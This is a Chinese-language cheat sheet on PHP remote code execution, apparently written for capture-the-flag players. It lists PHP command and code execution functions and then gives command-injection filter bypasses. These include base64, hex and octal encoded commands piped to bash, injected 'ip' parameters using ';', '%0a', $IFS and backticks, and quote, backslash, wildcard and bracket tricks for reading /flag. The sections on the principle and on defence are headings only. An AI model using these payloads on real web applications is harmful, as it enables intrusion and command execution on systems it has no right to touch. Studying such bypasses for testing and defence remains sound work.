目录
4.call_user_func()和array_map()
一、RCE 介绍
二、原理
三、防御
四、php能远程执行的函数
1. 命令执行的函数:
1. system:
2. exec:
3. shell_exec:
4. passthru:
5. popen()
6. proc_popen()
2. 代码执行的两个函数:
1.eval(PHP代码)
2.assert(PHP代码)
3.preg_replace
4.call_user_func()和array_map()
五、RCE 绕过技巧
1. str_replace()函数绕过方式:双写
2. 空格被过滤绕过方式:替代
3. 关键字过滤绕过方式:编码
1. URL编码绕过
2. Base 64 编码绕过
echo MTIzCg==|base64 -d    其将会打印123         //MTIzCg==是123的base64编码
echo "Y2F0IC9mbGFn"|base64 -d|bash      将执行了cat /flag        //Y2F0IC9mbGFn是cat /flag的base64编码
echo "bHM="|base64 -d|sh               将执行ls 
3. Hex编码绕过
echo "636174202f666c6167"|xxd -r -p|bash     将执行cat /flag 
 
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")         执行cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0       执行cat /flag
 
4. Oct编码绕过:
$(printf "\154\163")       执行ls 
4. 关键字过滤绕过方式:偶读拼接
?ip=127.0.0.1;a=l;b=s;$a$b
?ip=127.0.0.1;a=fl;b=ag;cat /$a$b; 
5. 用 %0a 绕过命令连接符
?ip=127.0.0.1%0als
?ip=127.0.0.1%0acat /flag 
6. 花括号{command,}的别样用法
{ls,} 
7. 用内联执行绕过关键字过滤
echo "a`pwd`"
?ip=127.0.0.1;cat$IFS$9`ls` 
于此类似的还有$(command)
echo "abcd $(pwd)" 
8.用引号绕过关键字过滤
 
 
ca""t  =>  cat
mo""re  =>  more  
in""dex  =>  index
ph""p  =>  php 
9. 用通配符绕过关键字过滤
假设flag在/flag中:
/?url=127.0.0.1|ca""t%09/fla?
/?url=127.0.0.1|ca""t%09/fla*
    
假设flag在/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla????
/?url=127.0.0.1|ca""t%09/fla*
    
假设flag在/flags/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla??/fla????
/?url=127.0.0.1|ca""t%09/fla*/fla* 
 
10. 用反斜杠绕过关键字过滤
ca\t  =>  cat
mo\re  =>  more  
in\dex  =>  index
ph\p  =>  php
n\l  =>  nl 
11. 用[]匹配绕过关键字过滤
c[a]t  =>  cat
mo[r]e  =>  more  
in[d]ex  =>  index
p[h]p  =>  php 
 
六、专栏分享
每个专栏都在持续更新中~~~










